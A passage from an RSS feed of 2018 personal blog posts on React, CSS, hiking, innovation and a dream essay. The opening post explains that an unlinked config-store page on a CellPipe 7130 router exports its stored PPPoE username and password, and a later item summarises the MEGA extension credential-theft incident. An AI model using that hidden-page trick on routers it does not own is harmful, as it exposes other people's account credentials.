&lt;/span&gt;&lt;span class="hll"&gt;&lt;span class="c1"&gt;//printMenuItem('util_cfgrestore.html', 'Configuration Restore', black,white);&lt;/span&gt;
&lt;/span&gt;&lt;span class="nx"&gt;printMenuItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'util_webfirmware.html'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Web Firmware Upload'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;black&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;white&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="c1"&gt;//Jamie add back 20111109&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Visiting &lt;code&gt;http://&amp;lt;router_ip&amp;gt;/util_cfgstore.html&lt;/code&gt; shows a nice "Store" button that downloads a text
file containing 771(!) key/value pairs, including the username and password for the PPPoE connection.
Success!&lt;/p&gt;
&lt;h2&gt;Future plans&lt;/h2&gt;
&lt;p&gt;There are a ton of other options in the downloaded config file, some of which look like they enable
bridge mode. However, flipping those settings on and applying the new config using
&lt;code&gt;http://&amp;lt;router_ip&amp;gt;/util_cfgrestore.html&lt;/code&gt; didn't seem to change anything. I'm going to keep messing
with it while I look into sourcing a better modem to use my newfound credentials with.&lt;/p&gt;
&lt;p&gt;Longer-term, the plan is to transition to a dedicated modem that provides WAN access to a low-power
computer running &lt;a href="https://www.pfsense.org/"&gt;pfSense&lt;/a&gt; that handles firewall and routing duties. From there, an unmanaged
switch (possibly injecting &lt;a href="https://en.wikipedia.org/wiki/Power_over_Ethernet"&gt;PoE&lt;/a&gt;) can provide access for enough dumb wireless APs to bathe the
house in WiFi, as well as wired hookups for the devices that don't move around too much or need the
throughput. For now though, I'll settle for replacing the modem.&lt;/p&gt;</description><author>Carey Metcalfe</author><pubDate>Wed, 12 Sep 2018 05:30:00 GMT</pubDate><guid isPermaLink="true">https://cmetcalfe.ca/blog/password-recorvery-from-cellpipe-7130.html</guid></item><item><title>The Rise of Immer in React</title><link>https://www.swyx.io/rise-of-immer</link><description>&lt;blockquote&gt;
&lt;p&gt;2018: &lt;em&gt;Published on the Netlify Blog as &lt;a href="https://www.netlify.com/blog/2018/09/12/the-rise-of-immer-in-react/"&gt;The Rise of Immer in React&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;</description><author>swyx's site RSS Feed</author><pubDate>Wed, 12 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/rise-of-immer</guid></item><item><title>WooCommerce and Russia</title><link>https://yasha.solutions/woocommerce-and-russia/</link><description>Here is a little research project I did at request to figure out all the gateways, if you want to sell stuff in russian speaking countries – turns out Stripe or Paypal are not exactly going to cover all your needs.
So here is the results of my research on the topic.
Feel free to add in the comments if you have some extra input on the topic.
Yandex Money / Kassa The first plugin is from Dayes Design :</description><author>Yasha Solutions</author><pubDate>Tue, 11 Sep 2018 12:33:53 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/woocommerce-and-russia/</guid></item><item><title>London bar backlog</title><link>https://xenodium.com/london-bar-backlog</link><description>&lt;h2&gt;Soho&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.68andboston.com"&gt;68 and Boston (cocktails and wine bar)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 11 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/london-bar-backlog</guid></item><item><title>Building a snail one organ at a time</title><link>https://liza.io/building-a-snail-one-organ-at-a-time/</link><description>&lt;p&gt;I think enough of the SnailLife Go infrastructure is ready now for me to start digging into the snail itself. In the PHP draft of SnailLife, I started with a basic concept of a snail &amp;ldquo;Here&amp;rsquo;s a snail. All it has is a name, size, and speed&amp;rdquo; and then made it more and more complex. By the end I had a model that had organs, genes, a reproductive system, macro/micro nutrient requirements, locomotion, a brain with memories, mood, etc. With the Go rewrite I have the luxury of hindsight and a vision based on the draft. I know roughly where I want to end up - &amp;ldquo;organs, genes, a reproductive system, macro/micro nutrient requirements, locomotion, a brain with memories, mood, etc.&amp;rdquo;&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 09 Sep 2018 20:24:50 GMT</pubDate><guid isPermaLink="true">https://liza.io/building-a-snail-one-organ-at-a-time/</guid></item><item><title>Stream Programming</title><link>https://www.anardil.net/2018/stream-programming.html</link><description>&lt;p&gt;Defining data in terms of streams to simplify programming&lt;/p&gt;</description><author>Anardil</author><pubDate>Sun, 09 Sep 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2018/stream-programming.html</guid></item><item><title>Summer Haute Route - Part 2: Moiry</title><link>https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-2-moiry/</link><description>&lt;h1&gt;Lac de Moiry and the Cabane du Moiry&lt;/h1&gt;&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549633470/IMG_4374.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The hike over the mountains to Gruben was a long way, but well worth the effort. The next day came a long traverse past the Lac de Moiry and up to the snout of the Moiry Glacier&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549643721/IMG_4416.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The glacier was spectacular, and the cabin was the most amazing place, perched on the side of the mountain overlooking the river of ice.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549643855/IMG_4430%20%281%29.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Sun, 09 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-2-moiry/</guid></item><item><title>Lean Impact – NGO business model the smart way</title><link>https://yasha.solutions/lean-impact-ngo-business-model-the-smart-way/</link><description>Couple of notes :
 Impact is a the third parameter to be added to the traditional Growth / Value focus Separate end users and funders. Change the funding models to facilitate experimentatino on the early stage Scaling to early also happen to the non-profit – with similar issues are the in the traditional business Separate end users and funders.</description><author>Yasha Solutions</author><pubDate>Sat, 08 Sep 2018 22:30:10 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/lean-impact-ngo-business-model-the-smart-way/</guid></item><item><title>Origin Stories</title><link>https://faingezicht.com/articles/2018/09/08/boston/</link><description>Boston holds a special place in my life. When I was starting my senior year of high school, and my brother Max was applying for business school, he was invited to MIT for an interview at Sloan and thought it was a good idea for me to tag along on his visit. I did, and that trip was the trigger that made me consider going to college in the US. I explicitly remember walking through security at the San José airport with Max, discussing why I should look beyond the University of Costa Rica (UCR), where he, my older brother Danny, and my mom had all gone to school. Until then, I was pretty set on studying engineering at the UCR, just like they had. His goal bringing me along was to open my eyes to what else was out there. He did.

This past weekend &lt;a href="/photos/2018/09/08/boston2018/"&gt;I went to visit Max&lt;/a&gt;, who ended up going to Sloan and is still in Boston almost ten years later. I had gone back to Boston a few other times, but on this trip, more than any other, I turned pretty nostalgic about how I ended up where I am.

While Max interviewed at Sloan, I toured the campus, and went on to the MIT Museum, where I was amazed by the &lt;a href="https://mitmuseum.mit.edu/exhibition/gestural-engineering-sculpture-arthur-ganson"&gt;Arthur Ganson exhibit&lt;/a&gt;. Last week I did pretty much the same walk, went to see the exhibit again, and walked past a bunch of places that Max's friend Rodolfo, who had also studied at the UCR and gone on to MIT for his masters, had recommended on my first trip. It's odd to think that if Rodolfo had not gone to MIT, Max probably wouldn't have gone to MIT, I probably wouldn't have gone to Northwestern, and I wouldn't be living my current life.

Many worlds. Forking paths.

Origin stories are strange.</description><author>Avy Faingezicht</author><pubDate>Sat, 08 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/articles/2018/09/08/boston/</guid></item><item><title>Boston, 2018</title><link>https://faingezicht.com/photos/2018/09/08/boston2018/</link><description>After a long time without visiting, I finally got to spend some time in Boston this past weekend with Max and Einat. We decided not to plan much, which turned out to be a great decision.</description><author>Avy Faingezicht</author><pubDate>Sat, 08 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/09/08/boston2018/</guid></item><item><title>r2con 2018 and r2wars</title><link>https://anisse.astier.eu/r2con-2018.html</link><description>&lt;p&gt;I tried something new this year, by going to &lt;a href="https://rada.re/con/2018"&gt;r2con&lt;/a&gt;, a conference dedicated to &lt;a href="https://radare.org"&gt;radare2&lt;/a&gt;, a reverse engineering toolkit.&lt;/p&gt;
&lt;h1&gt;r2con&lt;/h1&gt;
&lt;p&gt;This conference is one of the most affordable security conference out there. I've used radare2 (r2) in the past, but I don't think I fully understood its philosophy until going …&lt;/p&gt;</description><author>Linux Engineer's random thoughts</author><pubDate>Sat, 08 Sep 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://anisse.astier.eu/r2con-2018.html</guid></item><item><title>Flex justify content equally distanced items</title><link>https://muffinman.io/blog/flex-justify-content-equally-distanced-items/</link><description>&lt;article class="article"&gt;&lt;p&gt;I want to share a hack (or a trick if you prefer) my colleague Marko showed me today.&lt;/p&gt;
&lt;p&gt;What is the problem? We want our flex items to be equally distanced between each other and from the parent&amp;#x27;s edge. Unforunately
&lt;span class="sidenote__text" tabindex="0"&gt;&lt;code&gt;space-evenly&lt;/code&gt;&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;I wasn't aware of this property, thank you Marc for mentioning it in the comment below.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
is &lt;a href="https://caniuse.com/#search=space-evenly"&gt;not supported in IE and Edge&lt;/a&gt;. And &lt;code&gt;space-around&lt;/code&gt; or &lt;code&gt;space-between&lt;/code&gt; won&amp;#x27;t work.&lt;/p&gt;
&lt;p&gt;You can see what we are trying to achieve in the first row, and how the latter two are behaving.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Flex justify content examples" class="image" height="768" src="./flex-justify-content.png" width="1600" /&gt;&lt;/p&gt;
&lt;p&gt;Trick is really simple, use &lt;code&gt;space-between&lt;/code&gt; and add empty pseudo elements (&lt;code&gt;::before&lt;/code&gt; and &lt;code&gt;::after&lt;/code&gt;) to the parent element. Pseudo elements have no width, but they are still &amp;quot;pushing&amp;quot; real elements from themselves.&lt;/p&gt;
&lt;pre class="language-scss"&gt;&lt;code class="language-scss code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;.wrapper &lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;display&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; flex&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;justify-content&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; space-between&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;.wrapper::before,
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;.wrapper::after &lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;content&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This hack works with dynamic number of elements, dynamic widths and for any flex direction.&lt;/p&gt;
&lt;p&gt;You can see it in the action below:&lt;/p&gt;
&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Fri, 07 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/flex-justify-content-equally-distanced-items/</guid></item><item><title>Don't Disrupt Things; Fix Them</title><link>https://ntietz.com/blog/do-not-disrupt-things-fix-them/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;People talk about disrupting industries when those industries appear to be in a stable but inefficient state. For example, the taxicab industry: there was little innovation going on in it, and it was stable, but it seemed like it was far from ideal. Along came Uber, intent to disrupt the industry - and disrupt it they did.&lt;/p&gt;
&lt;p&gt;Uber has a culture of ignoring laws around the world when it's convenient to do so, when it helps them earn a buck and disrupt the existing industry. As a result, we have an app that millions of people love and use regularly, and which provides income to millions of drivers. This seems pretty good, in this framing: we got something we all like using, and people are earning money from it.&lt;/p&gt;
&lt;p&gt;However, there is a darker framing to it. If Uber disrupted something, what did it disrupt? It disrupted the livelihoods of the millions of taxicab drivers.&lt;/p&gt;
&lt;p&gt;The drivers who existed in the old, stable-state system were obeying the laws, in general. They played by the rules, even when it was expensive for them to do so. Taxi medallions in New York City cost over $1 million at their peak, and drivers or taxi company owners had to invest lots of money in this resource which appeared scarce. Now, those medallions are often valued under $200,000, having lost over 80% of their value. Uber has gained value by breaking the law (creating unregulated taxis) and law-abiding businesses have lost out by playing by the rules. The old rules did not make sense in many instances, as there was clearly artificial scarcity at play here, but that does not change the fact that the ethical businesses lost by being ethical.&lt;/p&gt;
&lt;p&gt;Similarly, Airbnb has disrupted the hotel industry. The loser here? Big hotel chains which abide by regulations and pay their local hospitality taxes. And consumers, who are now staying in unregulated, potentially unsafe hotels rather than staying in hotels which are regulated by their local governments. Again, you can argue against paying the taxes and against the regulation, but what you can't argue with is this: the businesses who played by the rules lost, and the players who ignored laws and rules came out ahead financially.&lt;/p&gt;
&lt;p&gt;Clearly, there is something broken here. It should not be a viable business model to ignore and violate local rules and regulations and then just pay fines down the road, because the economic impact to many is so great. The focus of these businesses should not be &lt;em&gt;disrupting&lt;/em&gt;, but &lt;em&gt;fixing&lt;/em&gt;. If the taxi industry is broken, let's fix it! If the hotel/hospitality industry is broken, let's fix it! But consider the side effects in the process. Consider who you're putting out of business and what will happen to &lt;em&gt;their&lt;/em&gt; livelihood if you do disrupt their life.&lt;/p&gt;
&lt;p&gt;Disrupting things is not &lt;em&gt;inherently&lt;/em&gt; valuable for society. In fact, while a disruption will push you out of a steady state, you have absolutely no guarantee that you will be in a better position when you get to the new steady state. You could leave society a better place - but you could also make it actively worse.&lt;/p&gt;
&lt;p&gt;Think about that next time you set out to solve a problem: instead of disrupting an industry, let's solve a problem and consider the wider impacts.&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Fri, 07 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/do-not-disrupt-things-fix-them/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>The Original Task Runner</title><link>https://vimist.github.io/2018/09/07/The-Original-Task-Runner.html</link><description>It seems to me that the tools we use are changing so quickly that
sometimes we forget to look around at what we already have before
we invent something new.  Don't get me wrong, specialised build tools and task
runners have their place and can make things easier, but they can sometimes
unnecessarily overcomplicate things.


  Simplicity is prerequisite for reliability. Edsger
Dijkstra


Enter Bash; installed on most Linux distributions by default, available
on Mac and even Windows. Cross platform!

People have been using Bash scripts to do this sort of thing for quite a while
now, but hopefully this will put a slightly different spin on it.</description><author>Vimist</author><pubDate>Fri, 07 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://vimist.github.io/2018/09/07/The-Original-Task-Runner.html</guid></item><item><title>Douglas Adams 3 rules of innovation</title><link>https://yasha.solutions/douglas-adams-3-rules-of-innovation/</link><description>Anything that is in the world when you’re born is normal and ordinary and is just a natural part of the way the world works.
  Anything that’s invented between when you’re fifteen and thirty-five is new and exciting and revolutionary and you can probably get a career in it.
  Anything invented after you’re thirty-five is against the natural order of things.</description><author>Yasha Solutions</author><pubDate>Thu, 06 Sep 2018 14:07:21 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/douglas-adams-3-rules-of-innovation/</guid></item><item><title>Showing code coverage for a React app using Code Climate and Travis CI</title><link>https://jasonraimondi.com/posts/showing-code-coverage-for-a-react-app-using-code-climate-with-travis-ci/</link><description>&lt;p&gt;&lt;a href="https://codeclimate.com/github/jasonraimondi/traverse/test_coverage"&gt;&lt;img alt="Test Coverage" src="https://api.codeclimate.com/v1/badges/ad2b588b8f655bc8f384/test_coverage" /&gt;&lt;/a&gt;
&lt;a href="https://codeclimate.com/github/jasonraimondi/traverse/maintainability"&gt;&lt;img alt="Maintainability" src="https://api.codeclimate.com/v1/badges/ad2b588b8f655bc8f384/maintainability" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="image-pop-container "&gt;
    &lt;img alt="Test coverage badges in GitHub README" class="pops" src="./imgs/readme-badges.png" title="Test coverage badges in GitHub README" /&gt;
    &lt;small class="image-pop-title"&gt;Test coverage badges in GitHub README&lt;/small&gt;
&lt;/div&gt;

&lt;p&gt;The other day I was trying to figure out how to use &lt;a href="https://codeclimate.com/"&gt;Code Climate&lt;/a&gt; to generate Code Coverage for a Electron/React app I am building in TypeScript. I&amp;rsquo;ve used Code Climate in the past for generating code coverage with PHP projects with success and remember it being really easy to set up.&lt;/p&gt;
&lt;p&gt;On the Code Climate documentation, all that it says for JavaScript is.. &lt;a href="http://ltp.sourceforge.net/coverage/lcov.php"&gt;lcov&lt;/a&gt; (generated by &lt;a href="http://gotwarlost.github.io/istanbul/"&gt;Istanbul&lt;/a&gt;.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Thu, 06 Sep 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/showing-code-coverage-for-a-react-app-using-code-climate-with-travis-ci/</guid></item><item><title>Ink Pots &amp;amp; Johnston Canyon</title><link>https://dustin.lammiman.ca/hikes/ink-pots-johnston-canyon/</link><description>&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Length:&lt;/strong&gt; 11.7km (Round Trip)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Elevation Gain:&lt;/strong&gt; 450m&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Time:&lt;/strong&gt; 4 Hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trailhead:&lt;/strong&gt; Johnston Canyon Parking Lot (&lt;a href="https://goo.gl/maps/RHWfHGDUg4K2"&gt;map&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Type:&lt;/strong&gt; Out &amp;amp; Back&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rating:&lt;/strong&gt; Moderate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Johnston canyon is extermely popular. This isn't without reason as the canyon is beautiful. But if you keep hiking beyond the upper falls you will eventually reach the Ink Pots which are the real jewel of this hike. The portion of the trail after the upper falls is the most intense, with significantly more elevation gain. But you will also be glad to be away from the crowds for a while. After a long, steady incline you'll eventually head back down hill and reach the Ink Pots, which are spring fed pools of water with brilliant color in the midst of a mountain meadow. Be sure to heed the signs and don't disturb the pools. Pack a lunch and take some time to picnic while you enjoy the natural beauty of your destination.&lt;/p&gt;</description><author>Dustin.Lammiman</author><pubDate>Thu, 06 Sep 2018 05:05:06 GMT</pubDate><guid isPermaLink="true">https://dustin.lammiman.ca/hikes/ink-pots-johnston-canyon/</guid></item><item><title>Mussum Ipsum</title><link>https://heitorpb.github.io/bla/lorem/</link><description>Mussum Impsum.</description><author>Heitor's log</author><pubDate>Thu, 06 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://heitorpb.github.io/bla/lorem/</guid></item><item><title>3 interesting read on innovation</title><link>https://yasha.solutions/3-interesting-read-on-innovation/</link><description>[Why You Don’t Understand “Disruption”
]1 by Bill Barnett
where you learn that Kodak invented Instagram in the 90’s.
What Your Innovation Process Should Look Like
where Steve Blank share some knowledge on innovation processes inside an organisation
Optimize when you can, standardize if you must.
Not 100% on innovation but still important to understand how to approach these two parameters of every technological project</description><author>Yasha Solutions</author><pubDate>Wed, 05 Sep 2018 20:11:27 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/3-interesting-read-on-innovation/</guid></item><item><title>test</title><link>https://heitorpb.github.io/bla/test/</link><description>Test description.</description><author>Heitor's log</author><pubDate>Wed, 05 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://heitorpb.github.io/bla/test/</guid></item><item><title>Summer Haute Route - Part 1: Zermatt</title><link>https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-1-zermatt/</link><description>&lt;h1&gt;The first part of my journey from Zermatt along the Europaweg trail.&lt;/h1&gt;&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549618595/IMG_4255.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;I hiked the Haute Route in the opposite direction to most people, starting in Zermatt under the majestic Matterhorn and heading down the valley towards Grächen along the Europaweg trail.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549619435/IMG_4283.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The Charles Kuonen Suspension Bridge is the longest in the world, spanning almost 500m (1620ft). A recent landslide blocked the trail shortly after the bridge, forcing a re-route down into the valley to Randa.&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Wed, 05 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-1-zermatt/</guid></item><item><title>Networking Essentials: Switching</title><link>https://www.swyx.io/networking-essentials-switching-3eba</link><description>&lt;p&gt;Discussing why we need Switches in a network and how they work&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Wed, 05 Sep 2018 00:01:50 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-switching-3eba</guid></item><item><title>Marketing 101 – 1 – Markets are conversations</title><link>https://yasha.solutions/marketing-101-1-markets-are-conversations/</link><description>Ok so you want to up your marketing game and you are looking for recommendations where to start.
Here is the first post of a serie where I share with you what I think are the best references and guiding principles in marketing.
This is stuff I have collected, read and applied over the course of more than 10 years and I will probably keep updating it as time pass.</description><author>Yasha Solutions</author><pubDate>Tue, 04 Sep 2018 14:14:27 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/marketing-101-1-markets-are-conversations/</guid></item><item><title>Networking Essentials: Architecture and Principles</title><link>https://www.swyx.io/networking-essentials-architecture-and-principles-2g5e</link><description>&lt;p&gt;Discussing the architecture of the Internet and its the principles that guided its original design.&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Tue, 04 Sep 2018 12:18:56 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-architecture-and-principles-2g5e</guid></item><item><title>Data Warehouse vs Data Lake</title><link>https://yasha.solutions/data-warehouse-vs-data-lake/</link><description/><author>Yasha Solutions</author><pubDate>Tue, 04 Sep 2018 11:30:24 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/data-warehouse-vs-data-lake/</guid></item><item><title>The Principal Agent Problem &amp;amp; Hayek’s Knowledge problem</title><link>https://yasha.solutions/the-principal-agent-problem-hayeks-knowledge-problem/</link><description>The Principal Agent Problem The Principal Agent Problem occurs when one person (the agent) is allowed to make decisions on behalf of another person (the principal). In this situation, there are issues of moral hazard and conflicts of interest.
The Principal Agent ProblemHayek’s Knowledge problem Frequently mentioned as the most important essays in the history of economic thought, Hayek’s essay “The Use of Knowledge in Society” question the fundamental problem that economics exists to solve?</description><author>Yasha Solutions</author><pubDate>Tue, 04 Sep 2018 11:29:52 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/the-principal-agent-problem-hayeks-knowledge-problem/</guid></item><item><title>Exploring Iceland's Vegetation Anomalies</title><link>https://e-baumer.github.io/2018-09-04-iceland-anomalies/</link><description>Tracking changes in Iceland's vegetation through time. This work was done in collaboration with Kevin James and links out to our Visual Perspective website -</description><author>Eric Nussbaumer</author><pubDate>Tue, 04 Sep 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://e-baumer.github.io/2018-09-04-iceland-anomalies/</guid></item><item><title>¿Se puede hacer eso con JSX?</title><link>https://youtu.be/O7nErTuuSLw</link><description>— at Meetup.js Argentina</description><author>Rodrigo Pombo</author><pubDate>Tue, 04 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://youtu.be/O7nErTuuSLw</guid></item><item><title>MEGA Chrome Extension Hacked - Detailed Timeline of Events</title><link>https://serhack.me/articles/mega-chrome-extension-hacked/</link><description>On 4 September at 14:30 UTC, an unknown attacker managed to hack into MEGA&amp;rsquo;s Google Chrome web store account and upload a malicious version 3.39.4 of an extension to the web store, according to a blog post published by the company. Upon installation or auto-update, the malicious extension asked for elevated permissions to access personal information, allowing it to steal login/register credentials from ANY websites like Amazon, Github, and Google, along with online wallets such as MyEtherWallet and MyMonero, and Idex.market cryptocurrency trading platform. The trojanized Mega extension then sent all the stolen information back to an attacker&amp;rsquo;s server located at megaopac[.]host in Ukraine, which is then used by the attackers to log in to the victims&amp;rsquo; accounts, and also extract the cryptocurrency private keys to steal users&amp;rsquo; digital currencies. -&lt;a href="https://serhack.me/articles/mega-chrome-extension-hacked/"&gt;Continue to read the article on SerHack.me&lt;/a&gt;</description><author>SerHack - Security Researcher</author><pubDate>Tue, 04 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://serhack.me/articles/mega-chrome-extension-hacked/</guid></item><item><title>Getting lost</title><link>http://dimitarsimeonov.com/2018/09/03/getting-lost</link><description>&lt;p&gt;There I was some library in DC, checking out binder folders of
reference material about hydrants. That’s where I felt lost in
precisely the same way. Browsing through and not finding anything to
bite on.&lt;/p&gt;

&lt;p&gt;Why was I searching? I was convicted by the judge, who was a friend of
mine because I used a fire extinguisher to extinguish a fire even
though there was a hydrant nearby. The law apparently said that a
hydrant must be used if nearby. There were precedents aplenty of other
people convicted, and the judge couldn’t give me a pass. I was not
angry at him. I was mad at the hydrant lobby creating such a stupid
law.&lt;/p&gt;

&lt;p&gt;Mindlessly I continued to look at different binders of law and
precedents, searching for a way to fight that damn hydrant lobby.  It
didn’t feel like I was making any progress. Lost. Helpless. Mindless.&lt;/p&gt;

&lt;p&gt;Let’s pause here. If this doesn’t make sense, it’s because it should
not. It was a dream I had several days ago, and like any dream, the
story is not supposed to make sense. It is just a bunch of thoughts
and emotions associated. That there is a little bit of story is quite
surprising itself.&lt;/p&gt;

&lt;p&gt;As with fiction stories, it is not the funny details that matter- it
is the emotion of the characters. The situation is made up, but the
emotions are real. Even outside the dream, I was experiencing a sense
of confusion of having lost my path. The story was made up, but the
emotions are real.&lt;/p&gt;

&lt;p&gt;We all live our life on a path. By definition, it is the path of
conformity. It often leads to a boring life and death. Some call it
nine-to-five, some call it the rat race.  The path of conformity is
wide, beaten and solid. It is ancient, like a road from the Roman
Empire. It has been there for a long time, and it will be around for
much longer. It prescribes our action, from the major decisions of
religion, diet, holidays, to seemingly minor everyday choices as to
drinking coffee or tea in the morning.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_610CE8ED292C2C0C1B0595D0032C56022B402A44AC87B0A2F2DD1B5A76FB383B_1536009923637_hqdefault+copy.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;It takes courage to stray off the path. It also takes awareness and
awakening. Sleepwalking through life is when you don’t question your
own decision making. You can be very awake on the fact that Priuses
are better for the environment than trucks, and condemning anyone who
uses a gas guzzler. And yet, at the very same time, you might be
asleep about all the other ways we humans are changing the earth and
the ecosystem. And you might be extremely asleep about why you’re
caring about the environment. You might be thinking that it’s for the
betterment of the “environment” or “nature” itself, and miss the point
that it is only for the betterment and survival of humans. Because the
Earth and Nature and Life are extremely resilient, but the human
species is not so much.&lt;/p&gt;

&lt;p&gt;And yet being able to see through the
&lt;a href="http://dimitarsimeonov.com/2018/01/24/on-hungry-artists-and-jedi"&gt;lies if the Jedi&lt;/a&gt;,
one starts seeing schemes within schemes within schemes, as they say
in Dune. For every motivation and incentive that we feel there’s ofta strategically larger scheme, which motivates it.  And our
actions. Even though I like to pretend that I’m and independent
thinker, I realize, that even “independent thinking” is a conformist
thing, and expected part of society, bound to cover a spectrum of
opinions.&lt;/p&gt;

&lt;p&gt;Why am I talking about this meta bullshit, Bene Gesserit, and “saving
the world”? How is it related to the title of this essay about being
lost? Let’s discuss.&lt;/p&gt;

&lt;p&gt;In my life, I tried to escape the beaten roman road, the hamster
wheel, but starting to veer off, I am feeling like I might be getting
lost.&lt;/p&gt;

&lt;p&gt;Up until nine months ago, I was marching along, stomping my boots on
the paved shiny stones. All roads lead to Rome. I had graduated from
university, got a good job, and had recently gotten a promotion. I was
pretty good at marching, and I had a good speed.&lt;/p&gt;

&lt;p&gt;Then I decided to take a side path, a fork in the road. In one of my
favorite coffee shop “Crossroads Cafe” in San Francisco, the personal
